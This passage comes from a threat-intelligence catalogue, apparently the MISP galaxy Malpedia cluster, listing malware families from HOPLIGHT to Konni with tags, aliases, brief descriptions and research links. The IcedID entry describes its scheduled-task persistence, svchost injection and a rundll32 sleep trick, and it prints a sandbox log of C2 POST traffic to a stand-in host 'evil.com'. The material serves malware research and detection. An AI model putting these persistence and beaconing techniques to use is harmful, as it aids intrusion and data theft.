Table 1428. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.homefry
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

HOPLIGHT

The tag is: misp-galaxy:malpedia="HOPLIGHT"

HOPLIGHT is also known as:

Table 1429. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hoplight
https://www.us-cert.gov/ncas/analysis-reports/AR19-100A
https://www.computing.co.uk/ctg/news/3074007/lazarus-rises-warning-over-new-hoplight-malware-linked-with-north-korea

HtBot

The tag is: misp-galaxy:malpedia="HtBot"

HtBot is also known as:

Table 1430. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.htbot

htpRAT

The tag is: misp-galaxy:malpedia="htpRAT"

htpRAT is also known as:

Table 1431. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.htprat
https://www.riskiq.com/blog/labs/htprat/

HTran

The tag is: misp-galaxy:malpedia="HTran"

HTran is also known as:

HUC Packet Transmit Tool

Table 1432. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.htran
https://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
https://www.secureworks.com/research/htran

HttpBrowser

The tag is: misp-galaxy:malpedia="HttpBrowser"

HttpBrowser is also known as:

Table 1433. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.httpbrowser
https://www.threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/

httpdropper

The tag is: misp-galaxy:malpedia="httpdropper"

httpdropper is also known as:

httpdr0pper

Table 1434. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.httpdropper
https://www.sans.org/reading-room/whitepapers/critical/tracing-lineage-darkseoul-36787
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/dissecting-operation-troy.pdf
http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html

http_troy

The tag is: misp-galaxy:malpedia="http_troy"

http_troy is also known as:

Table 1435. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.http_troy
https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf
http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html

Hworm

The tag is: misp-galaxy:malpedia="Hworm"

Hworm is also known as:

houdini

Table 1436. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hworm
http://researchcenter.paloaltonetworks.com/2016/10/unit42-houdinis-magic-reappearance/?adbsc=social67221546&adbid=790972447373668352&adbpl=tw&adbpr=4487645412
http://blogs.360.cn/post/analysis-of-apt-c-37.html

HyperBro

The tag is: misp-galaxy:malpedia="HyperBro"

HyperBro is also known as:

Table 1437. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro
https://securelist.com/luckymouse-hits-national-data-center/86083/

IcedID

Analysis Observations:

It sets up persistence by creating a Scheduled Task with the following characteristics:
Name: Update
Trigger: At Log on
Action: %LocalAppData%\$Example\\waroupada.exe /i
Conditions: Stop if the computer ceases to be idle.
The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.
The filename remained static during analysis.
The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it
If “/i” is not passed as an argument, it sets up persistence and waits for reboot.
If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.
Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so: rundll32.exe kernel32,Sleep -s
Setup a local listener to proxy traffic on 127.0.0.1:50000

[Example Log from C2 Network Communication] [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)> [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'. [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2

The tag is: misp-galaxy:malpedia="IcedID"

IcedID is also known as:

BokBot

Table 1438. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid
https://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html
https://digitalguardian.com/blog/iceid-banking-trojan-targeting-banks-payment-card-providers-e-commerce-sites
https://www.fidelissecurity.com/threatgeek/2017/11/tracking-emotet-payload-icedid
https://securityintelligence.com/icedid-operators-using-atsengine-injection-panel-to-hit-e-commerce-sites/
https://www.youtube.com/watch?v=wObF9n2UIAM
https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/
https://www.youtube.com/watch?v=7Dk7NkIbVqY
https://www.crowdstrike.com/blog/digging-into-bokbots-core-module/
https://www.vkremez.com/2018/09/lets-learn-deeper-dive-into.html
http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/
https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/
https://www.crowdstrike.com/blog/bokbots-man-in-the-browser-overview/
https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/

IcedID Downloader

The tag is: misp-galaxy:malpedia="IcedID Downloader"

IcedID Downloader is also known as:

Table 1439. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader
http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/
https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/

Icefog

The tag is: misp-galaxy:malpedia="Icefog"

Icefog is also known as:

Table 1440. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog
http://www.kz-cert.kz/page/502

Ice IX

The tag is: misp-galaxy:malpedia="Ice IX"

Ice IX is also known as:

Table 1441. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix
https://blog.trendmicro.com/trendlabs-security-intelligence/zeus-gets-another-update/
https://securelist.com/ice-ix-not-cool-at-all/29111/
https://www.virusbulletin.com/virusbulletin/2012/08/inside-ice-ix-bot-descendent-zeus

IDKEY

The tag is: misp-galaxy:malpedia="IDKEY"

IDKEY is also known as:

Table 1442. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.idkey
https://isc.sans.edu/diary/22766

IISniff

The tag is: misp-galaxy:malpedia="IISniff"

IISniff is also known as:

Table 1443. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff
https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Curious-Case-of-the-Malicious-IIS-Module/

Imecab

The tag is: misp-galaxy:malpedia="Imecab"

Imecab is also known as:

Table 1444. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.imecab
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east

Imminent Monitor RAT

The tag is: misp-galaxy:malpedia="Imminent Monitor RAT"

Imminent Monitor RAT is also known as:

Table 1445. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.imminent_monitor_rat
https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/
https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/

Infy

The tag is: misp-galaxy:malpedia="Infy"

Infy is also known as:

Foudre

Table 1446. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.infy
http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/
https://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/
https://www.intezer.com/prince-of-persia-the-sands-of-foudre/
https://github.com/pan-unit42/iocs/blob/master/prince_of_persia/hashes.csv
https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/

InnaputRAT

InnaputRAT, a RAT capable of exfiltrating files from victim machines, was distributed by threat actors using phishing and Godzilla Loader. The RAT has evolved through multiple variants dating back to 2016. Recent campaigns distributing InnaputRAT beaconed to live C2 as of March 26, 2018.

The tag is: misp-galaxy:malpedia="InnaputRAT"

InnaputRAT is also known as:

Table 1447. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.innaput_rat
https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/

InvisiMole

The tag is: misp-galaxy:malpedia="InvisiMole"

InvisiMole is also known as:

Table 1448. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole
https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/

IRONHALO

IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control (CnC) server and uniform resource locator (URL) path.
The encoded payload is written to a temporary file, decoded and executed in a hidden window. The encoded and decoded payloads are written to files named igfxHK[%rand%].dat and igfxHK[%rand%].exe respectively, where [%rand%] is a 4-byte hexadecimal number based on the current timestamp. It persists by copying itself to the current user’s Startup folder.

The tag is: misp-galaxy:malpedia="IRONHALO"

IRONHALO is also known as:

Table 1449. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo
https://www.symantec.com/security-center/writeup/2015-122210-5128-99
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html
https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html

ISFB

2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)

In September 2010, the source code of a particular Gozi CRM dll version was leaked. This led to two main branches: one became known as Gozi Prinimalka, which was merge with Pony and became Vawtrak/Neverquest.

The other branch became known as Gozi ISFB, or ISFB in short. Webinject functionality was added to this version.

There is one panel which often was used in combination with ISFB: IAP. The panel’s login page comes with the title 'Login - IAP'. The body contains 'AUTHORIZATION', 'Name:', 'Password:' and a single button 'Sign in' in a minimal design. Often, the panel is directly accessible by entering the C2 IP address in a browser. But there are ISFB versions which are not directly using IAP. The bot accesses a gate, which is called the 'Dreambot' gate. See win.dreambot for further information.

ISFB often was protected by Rovnix. This led to a further complication in the naming scheme - many companies started to call ISFB Rovnix. Because the signatures started to look for Rovnix, other trojans protected by Rovnix (in particular ReactorBot and Rerdom) sometimes got wrongly labelled.

In April 2016 a combination of Gozi ISFB and Nymaim was detected. This breed became known as GozNym. The merge uses a shellcode-like version of Gozi ISFB, that needs Nymaim to run. The C2 communication is performed by Nymaim.

See win.gozi for additional historical information.

The tag is: misp-galaxy:malpedia="ISFB"

ISFB is also known as:

Gozi ISFB
IAP
Pandemyia

Table 1450. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.isfb
https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/
https://blog.talosintelligence.com/2019/01/amp-tracks-ursnif.html
https://blog.minerva-labs.com/attackers-insert-themselves-into-the-email-conversation-to-spread-malware
https://lokalhost.pl/gozi_tree.txt
https://isc.sans.edu/forums/diary/Reviewing+the+spam+filters+Malspam+pushing+GoziISFB/23245
http://blog.talosintelligence.com/2018/03/gozi-isfb-remains-active-in-2018.html
https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/
https://www.cylance.com/en_us/blog/threat-spotlight-ursnif-infostealer-malware.html
https://www.vkremez.com/2018/08/lets-learn-in-depth-reversing-of-recent.html
https://www.youtube.com/watch?v=KvOpNznu_3w
https://www.rsa.com/de-de/resources/pandemiya-emerges-new-malware-alternative-zeus-based
https://www.youtube.com/watch?v=jlc7Ahp8Iqg
http://benkow.cc/DreambotSAS19.pdf
https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/
https://www.cyberbit.com/blog/endpoint-security/new-ursnif-malware-variant/
https://journal.cecyf.fr/ojs/index.php/cybin/article/view/15
https://0ffset.net/reverse-engineering/analyzing-com-mechanisms-in-malware/
https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
https://0ffset.net/reverse-engineering/malware-analysis/analysing-isfb-loader/
https://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/
https://github.com/gbrindisi/malware/tree/master/windows/gozi-isfb
https://blog.yoroi.company/research/ursnif-the-latest-evolution-of-the-most-popular-banking-malware/
https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features

ISMAgent

The tag is: misp-galaxy:malpedia="ISMAgent"

ISMAgent is also known as:

Table 1451. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent
http://www.clearskysec.com/ismagent/
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/

ISMDoor

The tag is: misp-galaxy:malpedia="ISMDoor"

ISMDoor is also known as:

Table 1452. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ismdoor
http://www.clearskysec.com/greenbug/
https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon

iSpy Keylogger

The tag is: misp-galaxy:malpedia="iSpy Keylogger"

iSpy Keylogger is also known as:

Table 1453. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ispy_keylogger
https://www.zscaler.com/blogs/research/ispy-keylogger

IsraBye

The tag is: misp-galaxy:malpedia="IsraBye"

IsraBye is also known as:

Table 1454. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.israbye
https://twitter.com/malwrhunterteam/status/1085162243795369984

ISR Stealer

ISR Stealer is a modified version of the Hackhound Stealer. It is written in VB and often comes in a .NET-wrapper. ISR Stealer makes use of two Nirsoft tools: Mail PassView and WebBrowserPassView.

Incredibly, it uses an hard-coded user agent string: HardCore Software For : Public

The tag is: misp-galaxy:malpedia="ISR Stealer"

ISR Stealer is also known as:

Table 1455. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.isr_stealer
https://securingtomorrow.mcafee.com/mcafee-labs/phishing-attacks-employ-old-effective-password-stealer/

IsSpace

The tag is: misp-galaxy:malpedia="IsSpace"

IsSpace is also known as:

Table 1456. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.isspace
http://researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/

JackPOS

The tag is: misp-galaxy:malpedia="JackPOS"

JackPOS is also known as:

Table 1457. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jackpos
https://www.trustwave.com/Resources/SpiderLabs-Blog/JackPOS-%E2%80%93-The-House-Always-Wins/

Jaff

The tag is: misp-galaxy:malpedia="Jaff"

Jaff is also known as:

Table 1458. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jaff
http://malware-traffic-analysis.net/2017/05/16/index.html
https://www.proofpoint.com/us/threat-insight/post/jaff-new-ransomware-from-actors-behind-distribution-of-dridex-locky-bart
http://blog.talosintelligence.com/2017/05/jaff-ransomware.html

Jager Decryptor

The tag is: misp-galaxy:malpedia="Jager Decryptor"

Jager Decryptor is also known as:

Table 1459. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jager_decryptor

Jaku

The tag is: misp-galaxy:malpedia="Jaku"

Jaku is also known as:

C3PRO-RACOON
KCNA Infostealer
Reconcyc

Table 1460. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jaku
https://www.forcepoint.com/sites/default/files/resources/files/report_jaku_analysis_of_botnet_campaign_en_0.pdf
https://securelist.com/whos-really-spreading-through-the-bright-star/68978/
https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146

Jasus

The tag is: misp-galaxy:malpedia="Jasus"

Jasus is also known as:

Table 1461. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jasus
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

JCry

Ransomware written in Go.

The tag is: misp-galaxy:malpedia="JCry"

JCry is also known as:

Table 1462. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jcry
https://twitter.com/IdoNaor1/status/1101936940297924608
https://twitter.com/0xffff0800/status/1102078898320302080

Jigsaw

The tag is: misp-galaxy:malpedia="Jigsaw"

Jigsaw is also known as:

Table 1463. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jigsaw

Jimmy

The tag is: misp-galaxy:malpedia="Jimmy"

Jimmy is also known as:

Table 1464. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jimmy
https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/

Joanap

The tag is: misp-galaxy:malpedia="Joanap"

Joanap is also known as:

Table 1465. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.joanap
https://www.us-cert.gov/ncas/alerts/TA18-149A
https://www.us-cert.gov/ncas/analysis-reports/AR18-149A
https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/

Joao

The tag is: misp-galaxy:malpedia="Joao"

Joao is also known as:

Table 1466. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.joao
https://www.welivesecurity.com/2017/08/22/gamescom-2017-fun-blackhats/

Jolob

The tag is: misp-galaxy:malpedia="Jolob"

Jolob is also known as:

Table 1467. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jolob
http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.html

JQJSNICKER

The tag is: misp-galaxy:malpedia="JQJSNICKER"

JQJSNICKER is also known as:

Table 1468. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jqjsnicker
http://marcmaiffret.com/vault7/

JripBot

The tag is: misp-galaxy:malpedia="JripBot"

JripBot is also known as:

Table 1469. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jripbot
https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/

KAgent

The tag is: misp-galaxy:malpedia="KAgent"

KAgent is also known as:

Table 1470. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kagent
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Karagany

The tag is: misp-galaxy:malpedia="Karagany"

Karagany is also known as:

Table 1471. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group

Kardon Loader

According to ASERT, Kardon Loader is a fully featured downloader, enabling the download and installation of other malware, eg. banking trojans/credential theft etc.This malware has been on sale by an actor under the username Yattaze, starting in late April. The actor offers the sale of the malware as a standalone build with charges for each additional rebuild, or the ability to set up a botshop in which case any customer can establish their own operation and further sell access to a new customer base.

The tag is: misp-galaxy:malpedia="Kardon Loader"

Kardon Loader is also known as:

Table 1472. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kardonloader
https://asert.arbornetworks.com/kardon-loader-looks-for-beta-testers/
https://engineering.salesforce.com/kardon-loader-malware-analysis-adaaaab42bab

Karius

According to checkpoint, Karius is a banking trojan in development, borrowing code from Ramnit, Vawtrack as well as Trickbot, currently implementing webinject attacks only.

It comes with an injector that loads an intermediate "proxy" component, which in turn loads the actual banker component.

Communication with the c2 are in json format and encrypted with RC4 with a hardcoded key.

In the initial version, observed in March 2018, the webinjects were hardcoded in the binary, while in subsequent versions, they were received by the c2.

The tag is: misp-galaxy:malpedia="Karius"

Karius is also known as:

Table 1473. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.karius
https://research.checkpoint.com/banking-trojans-development/
https://dissectmalware.wordpress.com/2018/03/28/multi-stage-powershell-script/

Karkoff

The tag is: misp-galaxy:malpedia="Karkoff"

Karkoff is also known as:

Table 1474. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.karkoff
https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html

KasperAgent

The tag is: misp-galaxy:malpedia="KasperAgent"

KasperAgent is also known as:

Table 1475. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kasperagent
http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/
https://www.threatconnect.com/blog/kasperagent-malware-campaign/

Kazuar

The tag is: misp-galaxy:malpedia="Kazuar"

Kazuar is also known as:

Table 1476. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kazuar
http://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/

Kegotip

The tag is: misp-galaxy:malpedia="Kegotip"

Kegotip is also known as:

Table 1477. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kegotip

Kelihos

The tag is: misp-galaxy:malpedia="Kelihos"

Kelihos is also known as:

Table 1478. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kelihos
https://www.crowdstrike.com/blog/inside-the-takedown-of-zombie-spider-and-the-kelihos-botnet/
https://www.wired.com/2017/04/fbi-took-russias-spam-king-massive-botnet/
https://www.cyberscoop.com/doj-kelihos-botnet-peter-levashov-severa/
https://en.wikipedia.org/wiki/Kelihos_botnet

KerrDown

The tag is: misp-galaxy:malpedia="KerrDown"

KerrDown is also known as:

Table 1479. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kerrdown
https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/
https://blog.cystack.net/word-based-malware-attack/

KeyBase

KeyBase is a .NET credential stealer and keylogger that first emerged in February 2015. It often incorporates Nirsoft tools such as MailPassView and WebBrowserPassView for additional credential grabbing.

The tag is: misp-galaxy:malpedia="KeyBase"

KeyBase is also known as:

Kibex

Table 1480. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keybase
https://unit42.paloaltonetworks.com/keybase-keylogger-malware-family-exposed/
https://th3l4b.blogspot.com/2015/10/keybase-loggerclipboardcredsstealer.html
https://unit42.paloaltonetworks.com/keybase-threat-grows-despite-public-takedown-a-picture-is-worth-a-thousand-words/
https://community.rsa.com/community/products/netwitness/blog/2018/02/15/malspam-delivers-keybase-keylogger-2-11-2017
https://voidsec.com/keybase-en/
https://www.virusbulletin.com/virusbulletin/2016/07/new-keylogger-block/
https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/

KeyBoy

The tag is: misp-galaxy:malpedia="KeyBoy"

KeyBoy is also known as:

TSSL

Table 1481. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keyboy
https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/
https://citizenlab.ca/2016/11/parliament-keyboy/
https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html
https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/

APT3 Keylogger

The tag is: misp-galaxy:malpedia="APT3 Keylogger"

APT3 Keylogger is also known as:

Table 1482. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3
https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/
https://twitter.com/smoothimpact/status/773631684038107136
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong

KEYMARBLE

The tag is: misp-galaxy:malpedia="KEYMARBLE"

KEYMARBLE is also known as:

Table 1483. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble
https://www.us-cert.gov/ncas/analysis-reports/AR18-221A
https://research.checkpoint.com/north-korea-turns-against-russian-targets/

KHRAT

The tag is: misp-galaxy:malpedia="KHRAT"

KHRAT is also known as:

Table 1484. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.khrat
https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/
https://blogs.forcepoint.com/security-labs/trojanized-adobe-installer-used-install-dragonok%E2%80%99s-new-custom-backdoor

Kikothac

The tag is: misp-galaxy:malpedia="Kikothac"

Kikothac is also known as:

Table 1485. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kikothac
https://www.group-ib.com/resources/threat-research/silence.html

KillDisk

The tag is: misp-galaxy:malpedia="KillDisk"

KillDisk is also known as:

Table 1486. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/
https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/

KINS

The tag is: misp-galaxy:malpedia="KINS"

KINS is also known as:

Kasper Internet Non-Security
Maple

Table 1487. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kins
https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/
https://www.youtube.com/watch?v=C-dEOt0GzSE
https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/
https://www.vkremez.com/2018/10/lets-learn-exploring-zeusvm-banking.html
https://github.com/nyx0/KINS

KleptoParasite Stealer

KleptoParasite Stealer is advertised on Hackforums as a noob-friendly stealer. It is modular and comes with a IP retriever module, a Outlook stealer (32bit/64bit) and a Chrome/Firefox stealer (32bit/64bit). Earlier versions come bundled (loader plus modules), newer versions come with a loader (167k) that grabs the modules.

PDB-strings suggest a relationship to JogLog v6 and v7.

The tag is: misp-galaxy:malpedia="KleptoParasite Stealer"

KleptoParasite Stealer is also known as:

Joglog

Table 1488. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kleptoparasite_stealer

KLRD

The tag is: misp-galaxy:malpedia="KLRD"

KLRD is also known as:

Table 1489. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.klrd
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://securitykitten.github.io/2016/11/28/the-klrd-keylogger.html

Koadic

The tag is: misp-galaxy:malpedia="Koadic"

Koadic is also known as:

Table 1490. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://github.com/zerosum0x0/koadic

KokoKrypt

The tag is: misp-galaxy:malpedia="KokoKrypt"

KokoKrypt is also known as:

Table 1491. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kokokrypt
https://twitter.com/struppigel/status/812726545173401600

KOMPROGO

KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management, Creating a reverse shell, running WMI queries, retrieving information about the infected system.

The tag is: misp-galaxy:malpedia="KOMPROGO"

KOMPROGO is also known as:

Table 1492. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.komprogo
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf
https://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2015-120808-5327-99
https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx

Konni

The tag is: misp-galaxy:malpedia="Konni"

Konni is also known as:

Table 1493. Table References
Links
